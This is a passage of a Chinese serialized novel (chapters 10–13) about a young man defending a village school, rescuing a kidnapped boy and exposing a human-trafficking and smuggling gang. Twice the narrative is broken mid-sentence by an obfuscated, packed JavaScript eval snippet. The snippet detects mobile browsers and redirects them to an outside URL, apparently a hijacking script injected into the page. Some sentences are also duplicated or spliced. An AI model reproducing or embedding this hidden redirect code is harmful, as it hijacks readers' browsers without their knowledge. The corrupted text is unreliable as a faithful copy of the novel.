火光照在她脸上，那张苍白的脸，此刻有种玉石般的光泽——脆弱，但坚硬。 张静轩看着，心里那块石头，终于落了地。 离开学堂时，天已经黑透。街巷里零星亮着灯，守夜的街坊们已经开始布置。周大栓和李铁匠在祠堂门口生了一堆火，火光映着他们黝黑的脸。 “小少爷，”周大栓看见他，咧嘴笑，“放心吧，今晚连只野猫都进不来。” 张静轩点头：“辛苦周叔李叔了。” “不辛苦。”李铁匠往火堆里添了根柴，“为了孩子，值。” 走在回家的路上，张静轩想起苏宛音说的那句话：“我父亲是读书人，是为了这片山河死的。我，也是读书人，是为了这片山河活的。” 这话，像种子，落在他心里。 山河。青石镇的山河，中华民国的山河。大哥在前线守着，他们在后方守着。守的方式不同，但心一样。 回到家，书房还亮着灯。张老太爷正在看一份文件，见他进来，放下文件。 “静轩，沈特派员今天来了？” “来了。”张静轩把今天的事说了。 张老太爷听完，沉默片刻：“苏先生那边，你处理得好。” “爹，我想……等这事过去了，在学堂开一门课。” “什么课？” “历史课。”张静轩说，“不单讲帝王将相，也讲像苏先生父亲那样的人，讲变法，讲维新，讲那些为了救国而死的人。让孩子们知道，这片山河，是怎么来的。” 张老太爷看着他，眼神复杂：“静轩，你长大了。” 这话，父亲说过不止一次。但这一次，张静轩听出了不同的意味——不是欣慰，是嘱托。 “爹，”他轻声说，“我会守着学堂，守着这片乡土。” “我知道。”张老太爷站起身，走到窗前，“但你记住，守，不是固守。是守住该守的，改变该改变的。这中间的度，你要自己拿捏。” 窗外，夜色如墨。远处祠堂方向的火光，隐隐约约，像一颗跳动的心。 张静轩点头。他明白父亲的意思。守旧与变革，固守与前行，这中间的平衡，他得自己找。 回到房间，他点亮油灯，摊开纸笔。今天的事，要记下来。 “冬月初四，后墙泼粪，马三所为。街坊守夜，民气可用。苏先生遭谤，坚定留下。沈特派员指点，信已改寄。山神庙，马三藏身处。” 写到这里，他停笔。看着那些字迹，忽然觉得，自己像在画一幅画——一幅关于青石镇的画。画里有光明，有黑暗，有坚守，有挣扎。而他是画中人，也是作画人。 吹熄灯，躺下。黑暗中，他握紧了怀里的小刀。刀身冰凉，但心是热的。 他知道，接下来的路还难。 但他不怕。 因为他不是一个人。 窗外的火光还在跳，街坊们还在守。苏宛音还在学堂，程秋实还在备课，卢明远还在奔走，沈特派员还在查案，大哥还在前线。 所有人，都在自己的位置上，守着这片山河。 11. 第十一章 春风不度 开春的第一场雨，淅淅沥沥下了三天。 青石镇的青石板路被雨水泡得发亮，倒映着灰蒙蒙的天。屋檐下挂着水帘，滴滴答答，像更漏。张静轩站在学堂门口，望着雨幕出神。雨水顺着瓦楞流下，在石阶前汇成细流，蜿蜒流向街边的水沟。 福伯撑开油纸伞：“小少爷，该回了。” 张静轩点点头，又回头看了一眼祠堂。后墙那片新刷的石灰，经过几场雨，已经不那么刺眼了，渐渐融进老墙的底色里。泼粪的事过去半个月，再没人提起，但那股恶臭，仿佛还留在空气里。 “福伯，”他忽然问，“马三……有消息吗？” 福伯摇头：“沈特派员那边还没信儿。倒是省城来了公文，说拨款的流程‘正在走’。”老管家顿了顿，“这话，听着耳熟。” 张静轩苦笑。正在走——这话说了快一个月了，还在“走”。他知道沈特派员的计策起了作用，郑副厅长要面子，不会公然卡着，但拖，也是一种态度。 两人走在雨里。油纸伞不大，遮不住斜飘的雨丝，肩头很快湿了一片。路过镇公所时，张静轩看见门口贴了张新告示，已经被雨水打湿，墨迹晕开，看不清内容。但他知道，大概是关于春耕的——每年这时候，镇公所都要贴告示，催缴春税。 回到家，书房里有人说话。是陈老秀才，还有卢明远。见张静轩进来，都停下话头。 “静轩，”卢明远站起身，“省城那边……有新情况。” 张静轩心头一紧：“拨款的事？” “不止。”卢明远从怀里掏出一份报纸，“你看这个。” 是《新报》。头版头条的标题触目惊心：《多地新式学堂遭抵制，保守势力抬头？》文章里列举了好几个地方，都是办了新学堂后遇到各种阻挠——有被泼粪的，有被扔石头的，有先生遭诬陷的。青石镇的事也在其中，但只用了一小段，没说细节。 “这是林记者写的？”张静轩问。 “是。”卢明远点头，“但你看这段。”他指着文章中间，“‘有地方士绅称，新学扰乱纲常，败坏风俗’。这话……听着像陈继业那伙人说的。” 张静轩仔细看。文章里确实提到，有“不愿具名的地方人士”批评新学。但用词，和当初赵全福他们散播的谣言如出一辙。 “你是说……陈继业的人，在别的地方也在活动？” “可能。”卢明远脸色凝重，“我爹从省城打听来的消息，说最近有好几个地方，都出现了类似青石镇的情况——办学受阻，先生遭难。手法都差不多，先是暗中破坏，然后舆论造谣。” 陈老秀才叹了口气：“树大招风啊。新学这东西，触动太多人利益了。” 张静轩沉默。他看着报纸上那些地名——都是周边县镇，有的比青石镇还小，还偏。如果陈继业那伙人的手已经伸到那些地方，说明他们的网络，比他想象的更大。 “沈特派员知道吗？” “应该知道。”卢明远说，“但他最近在追查另一条线——陈继业的走私网络，不止走军火烟土，还走人口。” “人口？”张静轩一惊。 “对。”卢明远压低声音，“我爹说，省城最近破获一个拐卖人口的团伙，头目交代，他们的‘货源’，有一部分从北边来，经过青石镇附近的中转站，往南边卖。” 张静轩感到脊背发凉。走私军火烟土已经够恶，还加上人口贩卖。这陈继业，真是恶贯满盈。 “那马三……” “可能不只是打手。”卢明远说，“沈特派员怀疑，马三负责青石镇这一片的‘货源’收集。那些失踪的穷苦人家孩子、女人，可能都跟他有关。” 书房里一时寂静。雨声透过窗户传进来，淅淅沥沥，像无数细小的叹息。 张静轩想起水生，想起小莲，想起学堂里那些孩子。如果马三真的在拐卖人口，那这些孩子…… “得尽快抓住他。”他说。 “难。”陈老秀才摇头，“马三是地头蛇，对青石镇周围地形了如指掌。沈特派员的人人生地不熟，不好抓。” 正说着，门外传来脚步声。福伯匆匆进来：“老爷，周大栓来了，说有急事。” 周大栓浑身湿透，站在廊下，脸色苍白：“小少爷，水生……水生不见了！” 张静轩心头一震：“什么时候的事？” “今儿晌午。”周大栓声音发抖，“他说去河边挖野菜，到现在没回来。我去找，只找到这个。”他从怀里掏出一只草鞋——是水生的，鞋底还沾着新鲜的泥。 “河边哪儿？” “镇西，青云河下游那片滩涂。”周大栓说，“我去找时，看见滩涂上有脚印，不止一个人的。还有……还有车辙印。” 车辙印。张静轩想起沈特派员说的“货源”、中转站。难道…… “福伯，备马！”他转身就往屋里跑，“我去找沈特派员！” “等等！”张老太爷叫住他，“雨这么大，你去哪儿找？” “镇西十里，山神庙！”张静轩头也不回，“马三在那儿！” 雨越下越大。张静轩骑着马，福伯也骑了一匹，两人冒雨往镇西赶。山路泥泞，马蹄打滑，几次差点摔倒。雨幕遮天蔽日，十步外就看不清路。 “小少爷！”福伯在雨中大喊，“这样太危险！” “水生更危险！”张静轩抹了把脸上的雨水，“福伯，您回去叫人！让周叔李叔他们，沿着河往下游找！我去山神庙！” 福伯还想劝，但张静轩已经打马冲进雨幕。老管家一咬牙，调转马头往回奔。 山路蜿蜒。张静轩紧紧抓着缰绳，雨水打得眼睛睁不开。他心里只有一个念头：水生不能有事。那个憨厚的孩子，那个会算账、会疼妹妹的孩子，不能有事。 山神庙在镇西十里外的山坳里。张静轩小时候来过，记得路。穿过一片松林，绕过一道山梁，庙的轮廓在雨幕中显现——几堵断墙，半塌的门楼，像一头蹲在雨中的巨兽。 他勒住马，翻身下来，把马拴在树林里。雨声掩盖了脚步声，他踩着泥泞，慢慢靠近。 庙里似乎有火光。从断墙的缝隙看进去，果然——一堆篝火在正殿的残垣下燃烧，几个人影围着火堆。张静轩屏住呼吸，数了数：三个。其中一个，左腿伸着，姿势别扭——是马三。 但没看见水生。 正看着，庙里传来骂声：“他娘的，这雨下得没完没了！”是马三的声音，沙哑粗粝。 “三哥，那小子怎么办？”另一个人问。 “绑结实了，扔后边破屋里。”马三说，“等雨小些，连夜送走。老大那边催得紧。” “可这雨……” “雨再大也得走！”马三啐了一口，马三啐了口带血的唾沫，眼神里闪过怨毒：“陈爷……他早年在关外跟俄国人做皮货，后来搭上日本人的线。他说这世道，规矩是给傻子守的，聪明人都懂得怎么在黑里扒拉金子。”他顿了顿，“他还说，中华民国这么大，烂一点没关系，反正烂透了才有人来救——可救的人，也得先喂饱。” 张静轩心往下沉。货——他们真的在拐卖人口。水生，就是他们的“货”。 他悄悄退后，绕到庙后。那里果然有间半塌的偏殿，门用破木板挡着。他轻轻挪开木板，里面黑漆漆的，有股霉味。 “水生？”他低声唤。 角落里传来窸窣声。张静轩摸过去，借着门缝透进的微光，看见水生被绑着手脚，嘴里塞着破布。见他进来，眼睛瞪大，拼命摇头。 张静轩拔出小刀，割断绳子，取出破布。水生大口喘气：“静轩哥……快走……他们人多……” “别怕。”张静轩扶起他，“能走吗？” “腿……腿麻了。” 张静轩架起水生，刚要往外走，门外传来脚步声。他立刻拉着水生躲到神像后。 门被推开。一个人影探头看了看：“那小子还老实吧？” “老实。”另一个人说，“三哥说了，看紧点。这可是‘上等货’，能卖好价钱。” 两人说了几句，又关上门走了。 张静轩松口气。他看了看四周——偏殿没有窗户，只有门一个出口。硬闯不行，得想别的办法。 正想着，庙前传来喧哗声。是福伯带人来了？ 他凑到墙缝往外看。雨幕里，几盏灯笼晃动，人影绰绰。有周大栓的声音，有李铁匠的声音，还有街坊们的喊声。 “马三！滚出来！” “把我儿子交出来！” 马三那边也炸了锅：“他娘的，怎么找来的？” “三哥，怎么办？” “怕什么！”马三吼道，“抄家伙！” 张静轩心一横，对水生说：“你在这儿待着，别出声。”说完，他掏出小刀，在神像后的墙上挖——墙是土坯的，被雨水泡软了，很快挖出个洞。 “从这儿钻出去！”他把水生推过去，“往山下跑，别回头！” 水生钻出洞，回头看他：“静轩哥，你……” “快走！” 水生一咬牙，钻进雨幕。张静轩转身，从另一边绕到庙前。 雨地里，两拨人对峙。周大栓、李铁匠带着十几个街坊，手里拿着锄头扁担。马三那边三个人，都拿着刀。雨声很大，但压不住对峙的紧张。 “马三！”周大栓眼睛血红，“我儿子呢！” “你儿子？”马三冷笑，“我不知道什么儿子。这儿是山神庙，你们私闯，可是犯法的。” “放你娘的屁！”李铁匠吼道，“把人交出来！” “交人？”马三掂了掂手里的刀，“就凭你们这些泥腿子？” 眼看冲突一触即发，张静轩从暗处走出来：“马三，你要找的‘货’，已经跑了。” 所有人都转头看他。马三脸色大变：“你……你怎么在这儿？” “我不但在这儿，还知道你们在干什么。”张静轩盯着他，“走私军火烟土不够，还拐卖人口。马三，你的罪，够枪毙十回了。” 马三眼中凶光一闪：“小子，你找死！”他挥刀就扑过来。 张静轩早有准备，侧身躲过，手里的油纸伞猛地一戳，戳中马三的肋下。马三吃痛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140653|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作一滞。周大栓趁机一锄头砸在他手腕上，刀当啷落地。 另外两个人想冲上来，被李铁匠和街坊们拦住。雨地里一片混乱。 就在这时，远处传来马蹄声。几匹马冲破雨幕，马上的人穿着制服——是沈特派员的人。 “不许动！警察！” 马三见势不妙，转身想跑，被周大栓一把抱住，两人滚在泥地里。警察冲上来，很快制服了三人。 沈特派员跳下马，浑身湿透。他看了看现场，目光落在张静轩身上：“你没事吧？” 张静轩摇头：“水生跑了，应该下山了。” “我已经派人去找了。”沈特派员走到马三面前，蹲下身，“马三，陈继业在哪儿？” 马三啐了口带血的唾沫：“我不知道！” “不知道？”沈特派员冷笑，“那你总知道，你们拐卖的那些人，都送到哪儿去了吧？” 马三闭嘴不说话。 沈特派员站起身，对张静轩说：“这次多亏你们。马三我们带回去审，一定撬开他的嘴。” 警察押着马三三人走了。雨还在下，但小了些。街坊们围过来，七嘴八舌地问。周大栓急着找水生，要往山下跑。 “周叔，”张静轩叫住他，“水生应该没事。咱们分头找，您往东，我往西。” 众人散开。张静轩和福伯往西边找。山路泥泞，脚印早就被雨水冲没了。他们一路喊，一路找，直到天快黑时，才在一处山洞里找到水生。 孩子缩在洞角，浑身发抖，但没受伤。看见张静轩，哇地哭出来。 “没事了，没事了。”张静轩抱住他，“走，回家。” 回到镇上时，天已经黑透。雨停了，月亮从云缝里露出来，清清冷冷。周大栓家挤满了人，街坊们都来了，见水生平安回来，都松了口气。 周大栓抱着儿子，老泪纵横。周婶忙着煮姜汤，给每个人端上一碗。 沈特派员也来了，坐在堂屋里，脸色凝重。等众人情绪平复些，“马三交代了。”沈特派员声音低沉，带着熬夜后的沙哑，“陈继业狡兔三窟，上海只是幌子之一。他真正的根基和网络，仍在本省。马三负责青石镇及上下游码头这片‘货源地’与‘中转站’。” 他翻开随身的笔记本，目光冷峻：“根据口供，他们专挑两类人下手：一是家里穷困、父母外出或疏于看管的孩子，以‘介绍省城好活计’为诱；二是独自外出、无亲无故的妇人。得手后，利用青云河水路，夜间用改装过的货船运往下游集散点，再分陆路、水路送往南边。青石镇位置关键，水路便利，且……民风相对闭塞，学堂未办时，鲜少有人警惕陌生人来往。” 他合上本子，看向张静轩和周大栓等人：“破坏学堂，是陈继业接到省里某些‘朋友’示意后的双重算计。一来，新学开智，百姓不易受骗，更会警惕陌生人与孩童走失，断了他们‘货源’；二来，制造混乱，转移可能的侦查视线。马三接到的直接指令就是‘不惜手段，让学堂开不下去’。” 堂屋里一片死寂。十七个。十七个活生生的人，就这样消失了。 “都……都卖到哪儿去了？”周大栓声音发抖。 “南边，广州、香港，还有……南洋。”沈特派员声音低沉，“马三说，有些卖到工厂做苦工，有些卖到妓院，还有些……卖到海外，这辈子都回不来了。” 有妇人开始啜泣。那些失踪的人，都有家人，都有牵挂。 张静轩握紧了拳。他看着水生——这个差点就成了第十八个的孩子，心里翻江倒海。 “能……能找回来吗？”有人问。 沈特派员沉默片刻：“难。时间太久，线索太少。但我们会尽力。” 这话说得很实在，但也让人绝望。堂屋里的气氛，沉重得能拧出水。 “不过，”沈特派员话锋一转，“马三交代了一个重要线索——陈继业在青石镇附近，还有一个仓库。里面藏着没运走的‘货’，还有账本。” “在哪儿？” “青云河上游，一个废弃的磨坊里。”沈特派员看向张静轩，“明天，我们去找。你……要不要一起去？” 张静轩一愣：“我？” “对。”沈特派员点头，“这案子，你从头到尾都在。有始有终。” 张老太爷想说什么，但看了看儿子，又咽回去了。他知道，有些事，拦不住。 “好。”张静轩说，“我去。” 夜里，张静轩躺在床上，睡不着。窗外的月亮很亮，照得屋里一片银白。他想起马三那张凶恶的脸，想起水生惊恐的眼神，想起那十七个失踪的人。 十七个。背后是十七个破碎的家。 他坐起身，点亮油灯，摊开纸笔。该给大哥写信了。 “大哥：今日擒获马三，解救水生。知陈继业团伙拐卖人口，已害十七人。弟心难平。明日往寻仓库，或可得账本证据。望兄在前线保重，弟在后方，亦在战。静轩谨上。” 信写得很短，但字字沉重。他将信折好，放在枕下。明天托沈特派员的人带去。 吹熄灯，重新躺下。 12. 第十二章 磨坊暗影 晨雾未散，青云河上游的芦苇荡白茫茫一片，像铺了层厚厚的棉絮。张静轩跟在沈特派员身后，深一脚浅一脚地踩在河滩的淤泥里。福伯也来了，还有两个穿便衣的警察，腰间鼓囊囊的，藏着家伙。 “就是那儿。”沈特派员指向雾中隐约的轮廓。 那是一座废弃的水磨坊，半边已经塌了，残存的木架在雾里歪斜着，像巨兽的骨架。磨坊临河而建，河水在这里拐了个弯，形成一处回水湾，水面漂浮着枯枝败叶。 “小心些。”沈特派员示意警察散开，从不同方向靠近。 张静轩握紧了怀里的小刀。河风吹过，芦苇沙沙作响，混着河水的腥气。他想起马三交代的话：“磨坊底下有个地窖，账本和‘货’都在里面。” 货。想到这两个字，他心里一紧。 一行人慢慢靠近。磨坊的木门虚掩着，门轴锈蚀，一推就发出刺耳的吱呀声。里面很暗，空气中弥漫着霉味和一种说不清的腥气。阳光从塌陷的屋顶漏下来，照出飞舞的灰尘。 “地窖入口在哪儿？”沈特派员低声问。 张静轩环视四周。磨坊不大，正中是石磨，已经长满青苔。四周堆着些破麻袋、烂木头。他走到石磨旁，用脚踩了踩地面——声音发空。 “在这儿。” 两个警察上前，撬开地面铺着的破木板。果然，下面是个黑洞洞的入口，有木梯通下去。一股更浓的腥气涌上来，带着湿冷的寒意。 沈特派员点亮马灯，率先下去。张静轩跟在他后面。木梯吱嘎作响，仿佛随时会断。 地窖比想象中深。下了约莫两丈，脚才踩到实地。马灯的光晕开，照亮了空间——不大，约莫三丈见方。墙上挂着锁链，地上散落着发霉的稻草。角落里堆着几个麻袋，旁边蜷缩着三个人，两女一男，都衣衫褴褛，手脚被绑着，嘴里塞着破布。 一个瘦小的汉子正靠在墙边打盹，听见动静猛地惊醒，刚要喊，沈特派员已一个箭步上前，手刀劈在他颈侧，汉子闷哼一声软倒。看见灯光，他们惊恐地往后缩，发出呜呜的声音。 “别怕，我们是来救你们的。”沈特派员快步上前，拔出他们嘴里的破布。 三人剧烈咳嗽，其中一个年轻女子抬起头，脸上脏污，但眼睛很亮：“你们……是警察？” “省警务厅特派员，姓沈。”沈特派员一边解绳子一边说，“你们怎么在这儿？” “被拐来的。”女子声音嘶哑，“关了……关了快一个月了。他们说，等船来了，就把我们运走。” “运去哪儿？” “南边。”女子哆嗦着，“说是去……去南洋做苦工。” 另外两人也哭起来。一个是四十来岁的妇人，一个是十五六岁的少年，都瘦得皮包骨头。 张静轩看着他们，心里像被什么东西攥紧了。他想起马三说的“十七个”。这三人，差点就成了第十八、十九、二十个。 “账本呢？”沈特派员问。 女子指向墙角那些麻袋：“在……在那个蓝布袋里。” 警察上前，从麻袋里翻出几本账册，还有一叠信件。沈特派员快速翻看，脸色越来越凝重。 “不止青石镇。”他合上账册，“周边三个县，都有他们的点。这些年……经手的人，超过五十。” 五十。张静轩感到一阵眩晕。五十个活生生的人，像货物一样被买卖、转运，消失在未知的远方。 “陈继业……”他喃喃道。 “他跑不了。”沈特派员声音冰冷，“这些账本，够枪毙他十次了。” 地窖里一时寂静。只有三个被救者低低的啜泣声，和头顶河水流过的哗哗声。 “先上去。”沈特派员说，“把人送回去，账本带走。” 警察搀扶着三人上梯。张静轩走在最后，正要上去，张静轩眼角瞥见地窖最深处还有个小门，被一堆稻草遮着，只露出半截门框。门上挂着把大铁锁，锁身油亮，显然是经常开关。门缝里透出的腥气更重，还混着一股铁锈和油脂的怪味。 “等等。”他叫住沈特派员，“那儿还有个门。” 马灯照过去。果然，靠里的墙上有一扇小木门，锁着，门缝里透出更浓的腥气。 “打开。”沈特派员示意。 警察用撬棍撬开锁。门开了，里面是个更小的隔间，堆着些木箱。打开箱子，里面是……枪。 长短不一的枪械，用油布包着，整整齐齐码在箱子里。旁边还有几箱子弹。 “军火。”沈特派员蹲下身，拿起一把手枪，“德国造，好家伙。” 张静轩数了数，总共八箱。如果这些枪流出去…… “不止这些。”一个警察从最里面的箱子翻出些东西——是烟土，黑乎乎的膏块，用油纸包着。 走私军火、烟土、人口。陈继业这条线，真是无恶不作。 “全部带走。”沈特派员站起身，“这是铁证。” 众人开始搬运。三个被救者先送上去，然后是账本、军火、烟土。东西不少，搬了四五趟才搬完。 回到地面时，雾已经散了。阳光照在河面上，波光粼粼。但那光，照不进张静轩心里。他看着那些被救的人坐在河滩上，眼神空洞，像被抽走了魂。 “他们会怎么样？”他问沈特派员。 “先送回家，治疗，安抚。”沈特派员说，“但……心里的伤，难治。” 是啊。被拐卖，被囚禁，那种恐惧和屈辱，会跟着一辈子。 “那……那些已经运走的呢？” 沈特派员沉默良久：“我们会尽力查。但……希望不大。” 希望不大。这话像一块冰，塞进张静轩心里。 搬完东西，众人准备离开。张静轩最后看了一眼磨坊——这个藏在河湾深处的黑暗巢穴，终于见了光。但他知道，这样的巢穴，还有多少？ 回镇的路上，气氛沉重。沈特派员上马之前，想了想对张静轩低语：“陈继业经营多年，树大根深。马三落网，断其一臂，但他最核心的账目和关系网，恐怕另有藏处。此人睚眦必报，你们去省城，务必谨慎。”三个被救者坐在马车里，裹着警察给的毯子，依然瑟瑟发抖。沈特派员骑马走在前面，眉头紧锁。 福伯低声对张静轩说：“小少爷，这事……太大了。” “我知道。”张静轩说，“但再大，也得管。” 回到镇上，消息已经传开了。街坊们围在镇公所门口，看见马车回来，都涌上来。当看到车里那三个人时，人群安静了。 有人认出了那个妇人：“是……是王寡妇？她不是上个月去省城找工，失踪了吗？” 妇人抬起头，看见熟人，哇地哭出来。 周大栓挤过来，看见那少年，愣住了：“狗剩？你不是跟人跑船去了吗？” 少年低着头，不敢说话。 张静轩明白了。这些人，都是以“找工”“跑船”的名义被骗走的。家里人还以为他们是自己走的，谁会想到是被拐卖了？ “造孽啊……”有老人摇头叹息。 沈特派员站在台阶上，清了清嗓子：“诸位乡亲，人贩子我们已经抓住了。这三个，是刚救回来的。大家看看，有没有认识的人家，帮忙通知一声。” 人群骚动起来。有人去认人，有人去报信。很快，几家人哭着跑来，抱住自家亲人，嚎啕大哭。 张静轩站在一旁看着。那些哭声，撕心裂肺，混着失而复得的狂喜和后怕的恐惧。他心里堵得慌，转身走了。 那夜张静轩辗转难眠。窗外风声呜咽，像无数细小的哭泣。他知道自己只是个十五岁的学生，省城对他而言是陌生而庞大的存在——那里有他不了解的规则，不认识的人，甚至可能有不屑听他说话的眼神。他想起水生被救回来那夜，孩子蜷在炕角，睡着了还在发抖；想起那三个被救者空洞的眼睛，像被掏走了魂；想起苏宛音说“怕也得做”时，眼底那簇不肯熄灭的火。 他忽然明白了大哥当年离家时的决绝。有些路，看见了，就不能假装没看见；有些事，知道了，就不能假装不知道。 “爹，”第二天早饭时，他说，“我再去趟省城。” “都看到了？”老人问。 张静轩点头：“看到了。” “怕吗？” “怕。”张静轩老实说，“但更怕……什么都不做。” 张老太爷看着他，眼神复杂：“静轩，有些事，看见了，就回不去了。” “我知道。”张静轩说，“但回不去，也得往前走。” 张老太爷问：“非去不可？” 张静轩答：“爹，咱们办学，是为让人明理。理在省城被歪了，我就去省城把它正过来。这不只是为钱，是为咱们做的事，讨个堂堂正正的说法。” 张老太爷凝视儿子良久，从怀中掏出一枚私印：“也好。张家的人，可以输，不能躲。拿着这个，省城‘德润丰’银号的掌柜，是故交。” 父子俩沉默对坐。窗外的阳光很好，照在书案上，那些账本和信件摊开着，像一道道黑色的伤口。 “沈特派员说，”张静轩开口，“陈继业在逃，但他跑不了。这些证据，够定他死罪。” “死罪容易，除恶难。”张老太爷缓缓道，“杀一个陈继业，还有王继业、李继业。只要有利可图，就有人铤而走险。” 这话说得深刻。张静轩想起大哥信里的话：“中华民国要强，先要人心强。”人心若贪婪、若愚昧，再严的刑律，也挡不住罪恶。 “所以，”他说，“才要办学堂。启民智，明事理。人明白了，就不会被骗；人有骨气，就不会作恶。” 张老太爷眼中闪过一丝欣慰：“你长大了。” 这话，父亲说过不止一次。但这一次，张静轩听出了认可——不是对孩子成长的欣慰，是对同道中人的认可。 “爹，”他忽然问，“咱们家……为什么一直办学？布施，修桥，铺路，现在又办学堂。图什么？” 张老太爷沉默片刻，起身走到那幅《山河图》前，轻轻拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140654|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去画上的灰尘。 “静轩，你知道咱们张家，是哪儿来的吗？” 张静轩一愣。这个问题，他从来没想过。镇上人都说张家是外来定居的，但具体从哪儿来，没人知道。 “你爷爷那辈，是从关外逃难来的。”张老太爷缓缓道，“光绪二十六年，义和团乱，俄国人趁机占了黑龙江以北。你爷爷带着全家，一路往南逃。路上，你奶奶病死了，你姑姑被马匪掳走了，就剩下你爷爷、你爹，还有你叔叔三个人。” 他的声音很平静，但张静轩听出了平静下的惊涛。 “逃到青石镇时，你爷爷身上只剩下一把弓，就是你大哥带走的那把牛角弓。”张老太爷转过身，“镇上人见我们可怜，给了间破屋住，给了碗饭吃。你爷爷说，这恩，得记着。” “所以您一直布施乡里？” “不只是报恩。”张老太爷摇头，“你爷爷说，他逃难路上，看见太多惨事。人饿极了，会吃人；人怕极了，会卖儿卖女。那不是人该过的日子。他要让青石镇的人，不用逃难，不用卖儿卖女。” 张静轩屏住呼吸。他从未听父亲说过这些。 “你爷爷攒了点钱，就开始布施。修桥铺路，是为方便；办学堂，是为长远。”张老太爷看着儿子，“静轩，你大哥参军，是为保国；你办学，是为育人。这两件事，都是为了让这片土地上的人，活得像人。” 这话像一道光，劈开了张静轩心里的迷雾。他忽然明白了很多事——为什么父亲对办学如此执着，为什么大哥会毅然从军，为什么张家总是“多管闲事”。 因为他们是逃难者的后代。因为他们见过最黑暗的人性，所以更珍惜光明。 “爹，”他轻声说，“我懂了。” “懂了就好。”张老太爷拍拍他的肩，“路还长，慢慢走。” 下午，张静轩去了学堂。苏宛音和程秋实已经听说了磨坊的事，正在等他。 “静轩，”苏宛音眼圈红着，“那三个人……安置好了吗？” “沈特派员派人送回家了。”张静轩说，“但……精神受了刺激，要养一段时间。” 程秋实叹气：“这世道……怎么总有这样的人？” “因为总有愚昧，总有贪婪。”张静轩说，“所以，咱们得把学堂办得更好。让孩子们都读书，都明理。将来，这样的人就会少。” 苏宛音点头，但眼神里仍有忧虑：“可省里的拨款还没下来。街坊们凑的钱，撑不了多久。” 这是个现实问题。张静轩想了想：“我再去趟省城。” “你去？”程秋实惊讶，“你一个孩子……” “孩子怎么了？”张静轩笑了，“孩子说的话，有时候更真。” 他其实早有这个念头。沈特派员的计策虽然高明，但太绕。不如直接去省城，找教育厅，找那些管事的，当面问清楚——青石镇学堂，到底哪里不合格？ 苏宛音和程秋实对视一眼，都从对方眼里看到了担忧，但也看到了希望。 “那……我陪你去。”卢明远的声音从门口传来。他不知何时站在那儿，脸上有笑，“我在省城熟，带路。” “我也去。”又一个声音。 是水生。孩子站在卢明远身后，眼神坚定：“静轩哥，俺也去。俺要告诉那些大官，学堂救了多少人。” 张静轩看着他们，心里一暖。他不是一个人。 “好。”他说，“咱们一起去。” 计划定下来：三天后出发。张静轩、卢明远、水生，还有福伯陪同。苏宛音和程秋实留在学堂，继续教学。沈特派员那边，张静轩去说了，沈特派员沉吟片刻，点头：“也好。有些事，该让孩子去说说。我会写封介绍信，你们带着。” 准备工作开始。张老太爷给省城的朋友写了信，托他们照应。卢明远联系了在省城的同学，安排住处。水生回家收拾东西——其实没什么可收拾的，就两件换洗衣裳。 夜里，张静轩又在灯下写信。这次是写给大哥的。 “大哥：今日端掉陈继业仓库，救三人，获罪证若干。三日后将往省城，为学堂请款。弟知前路难，但民心在，不敢退。兄在战场，弟在学堂，皆为这片山河。望兄珍重，待凯旋日，兄弟把酒话桑麻。弟静轩谨上。” 信写得很长。他把这段时间发生的事都写了——泼粪、守夜、抓马三、救水生、端磨坊。写到最后，手有些酸，但心里很畅快。 吹熄灯，躺下。黑暗中，他想起父亲说的那些往事——关外逃难，家破人亡。想起爷爷带着一把弓，一路往南，最终在青石镇落脚。 那把弓，现在在大哥手里。 而他手里，是另一把弓——榆木弓，刻着“守静笃，观复明”。 守静，是在动荡中定心。观复，是在黑暗中寻光。 而现在，他还要做第五件事：前行，不止。 窗外传来打更声，三更天了。 月光很好，清清冷冷地照着庭院。远处青云河的水声隐隐约约，永不停歇。 13. 第十三章 往省城的路上 天还没亮透，青石镇的石板路上就响起了马蹄声。 两辆马车停在张家门口。前面一辆载人，福伯赶车；后面一辆载行李，还坐着水生——孩子坚持要坐这辆，说“能看风景”。其实他长这么大，最远只到过青云河对岸。 张老太爷站在门口，往儿子怀里塞了个布包：“路上吃的。省城不比家里，凡事小心。” 布包里是烙饼、煮鸡蛋，还有一小罐咸菜。张静轩接过，沉甸甸的，带着体温。 “爹，您回吧。”他说，“学堂那边……” “有我在。”张老太爷摆摆手，“苏先生、程先生都是明白人，孩子们也懂事。你只管去，把事办成。” 卢明远从后面那辆马车探出头：“张伯父放心，省城我熟。” 水生也探出头，眼睛亮晶晶的：“张老爷，俺会照顾好静轩哥！” 众人都笑了。这孩子，还不知道是谁照顾谁。 马车动了。张静轩掀开车帘回头望。晨雾中的青石镇渐渐模糊，只剩下祠堂的屋脊，在雾里若隐若现，像一头沉睡的兽。学堂的钟声还没响，但再过半个时辰，孩子们就该到了。 车轱辘压在青石板上，咯噔咯噔，声音单调而绵长。出了镇子，路就变成了黄土路。昨夜下过雨，路面泥泞，马车走得很慢。 福伯在前头赶车，脊背挺直，像根老竹。张静轩看着他的背影，忽然想起什么：“福伯，您去过省城吗？” “年轻时去过。”福伯没回头，声音在风里飘，“那会儿还是前清，省城叫府城。城墙高，城门大，里头什么样……忘了。” 忘了？张静轩不信。福伯记性最好，张家几十年的账目都在他脑子里，怎么会忘。 但他没追问。有些事，忘了比记着好。 